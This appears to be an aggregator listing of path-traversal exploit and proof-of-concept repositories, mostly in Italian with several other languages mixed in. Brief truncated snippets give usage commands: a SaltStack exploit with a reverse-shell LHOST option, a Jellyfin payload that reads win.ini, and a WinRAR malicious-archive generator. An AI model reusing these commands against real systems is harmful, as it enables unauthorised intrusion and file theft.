CVE-2021-32804

CVE-2021-32804 yamory blog 「CVE-2021-32804: vulnerabilità di path traversal in node-tar che colpisce anche npm」 で利用したDocker環境の構築を行うためのレポジトリです。 Configurazione dell'ambiente root@kitploit: docker build -t cve-2021-32804 . docker run -it cve-2021-32804 /bin/bash Riproduzione della vulnerabilità...

CVE-2023-37739---Path-Traversal-in-i-doit-Pro-25-and-below

CVE-2023-37739 - Path Traversal in i-doit Pro 25 e versioni precedenti i-doit Pro 25 e versioni precedenti sono vulnerabili a una vulnerabilità di Path Traversal. Queste vulnerabilità potrebbero consentire a utenti remoti autenticati con privilegi bassi o alti di navigare verso posizioni che non...

CVE-2021-3281

CVE-2021-3281 Esiste una vulnerabilità di Directory Traversal in django.utils.archive.py, riga 171, nella classe TarArchive. La chiamata di funzione os.path.jointopath, name non controlla il parametro "name"; se qualcuno usa questa utility su piattaforma Windows, c'è un rischio di Directory...

CVE-2018-20250

exp per Estrarre l'esecuzione di codice da Winrar poc di Ridter come si usa? ti basta installare python 3.7, preparare un file dannoso che vuoi eseguire, impostare i valori che vuoi, questo script exp genererà automaticamente il file di archivio malevolo! 1. imposta i valori che vuoi root@kitploi...

CVE-2026-37066

CVE-2026-37066 Path Traversal, die zu beliebigem Dateilesen führt, in /vfm-admin/index.php und /vfm-admin/ajax/streamvid.php in Veno File Manager Project 4.4.9 ermöglicht einem authentifizierten Angreifer mit Superadministrator-Rolle, vertrauliche Informationen über zwei speziell gestaltete...

CVE-2022-30333-PoC

CVE-2022-30333-POC File di esempio per testare CVE-2022-30333 Sample.rar : se vuoi testare su Linux. Quando lo estrai, crea trav in ../../tmp/traversed. Assicurati che la directory ../../tmp/traversed esista prima di estrarre Sample.rar exp.rar : se vuoi testare sul server di posta Zimbra. Quando...

grafana-exploit-CVE-2021-43798

grafana-exploit-CVE-2021-43798 Informazioni A cosa serve questo exploit? viene utilizzato per la vulnerabilità di lettura arbitraria di file non autorizzata in Grafana CVE-2021-43798 consente l'accesso a file locali tramite directory traversal Per quali versioni di Grafana funziona questo exploit...

CVE-2021-41091

CVE-2021-41091 Un bug in Moby Docker Engine consente agli utenti senza privilegi di attraversare le directory ed eseguire programmi direttamente dal container Docker sulla macchina principale; se nel container Docker esiste un programma suid, l'utente potrà eseguirlo come suid sulla macchina...

Preproduce-CVE-2021-41773

Riproduzione di CVE 2021-41773 Vulnerabilità di path traversal e divulgazione di file in Apache HTTP Server 2.4.49 CVE-2021-41773 POC root@kitploit: $ docker compose up Conferma che funziona root@kitploit: $ curl -I http://localhost HTTP/1.1 200 OK Date: Wed, 06 Oct 2021 13:25:18 GMT Server:...

CVE-2024-34832

CubeCart - Directory Traversal può portare a RCE CVE-2024-34832 TL;DR Nel pannello di amministrazione, parametri come g e node vengono usati per costruire il percorso per includere file .inc.php ed eseguire codice PHP. Un utente malintenzionato con la possibilità di caricare file .inc.php in...

CVE-2025-30208-PoC

Dichiarazione di esonero di responsabilità: La vulnerabilità descritta in questo documento e le relative procedure di riproduzione sono fornite esclusivamente a scopo di ricerca e formazione sulla sicurezza informatica. Nessuno è autorizzato a utilizzare le informazioni qui contenute per scopi...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Esegui su Master: root@kitploit: python exp.py --exec-choose master --exec-cmd "whoami" Esegui su Minions: root@kitploit: python exp.py --exec-choose minions --exec-cmd "whoami" Ottieni Shell: root@kitploit: python exp.py --shell-LHOST 8.8.8.8...

CVE-2026-50181

CVE-2026-50181 L'attraversamento del percorso in Langroid negli strumenti file ha consentito la lettura/scrittura al di fuori della directory corrente configurata. Avviso principale: GHSA-fg23-3346-88f5 Database degli advisory GitHub: github.com/advisories/GHSA-fg23-3346-88f5 Crediti del...

Rails-doubletap-RCE

Rails-doubletap-exploit RCE su Rails 5.2.2 usando un path traversal CVE-2019-5418 e una deserializzazione di oggetti Ruby CVE-2019-5420 Analisi Tecnica : CVE-2019-5418 - https://github.com/mpgn/CVE-2019-5418 CVE-2019-5420 - https://hackerone.com/reports/473888 Avviso di Sicurezza : CVE-2019-5418 ...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE Этот репозиторий содержит эксплойт для CVE-2019-16278 в Nostromo Web Server 1.9.6, позволяющий удалённое выполнение кода через уязвимость обхода каталогов. Скрипт использует pwntools для установки обратного шелла. Только для образовательных целей и авторизованног...

CVE-2024-53677

CVE-2024-53677 إثبات المفهوم لاستغلال CVE-2024-53677 - ثغرة اجتياز المسار في رفع الملفات في Apache Struts مما يؤدي إلى تنفيذ تعليمات برمجية عن بعد...

CVE-2021-21402

CVE-2021-21402 CVE-2021-21402 Jellyfin मनमानी फ़ाइल पढ़ना Wker स्क्रिप्ट, बैच करने योग्य। तर्क बहुत सरल है, GET के माध्यम से win.ini की उपस्थिति की जाँच करें: root@kitploit: define payload = /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ define info = CVE-2021-21402...

CVE-2021-41773

CVE-2021-41773 Vulnerabilità di path traversal e divulgazione di file in Apache HTTP Server 2.4.49 CVE-2021-41773 Informazioni È stato trovato un difetto in una modifica apportata alla normalizzazione dei percorsi in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path...

CVE-2024-53677-Exploitation

Sfruttamento di CVE-2024-53677 Apache Struts RCE tramite Caricamento File Descrizione CVE-2024-53677 è una vulnerabilità che impatta Apache Struts dalla versione 2.0.0 fino alla 6.4.0. ⚠️ Questa è stata sfruttata in un laboratorio Hack The Box. La logica di caricamento file in Apache Struts è...

Blackash-CVE-2025-31131

Blackash-CVE-2025-31131 CVE-2025-31131 - YesWiki 4.5.2 Exploit di Path Traversal Descrizione YesWiki è un sistema wiki scritto in PHP. Il parametro squelette è vulnerabile ad attacchi di path traversal, consentendo l'accesso in lettura a file arbitrari sul server. Questa vulnerabilità è corretta...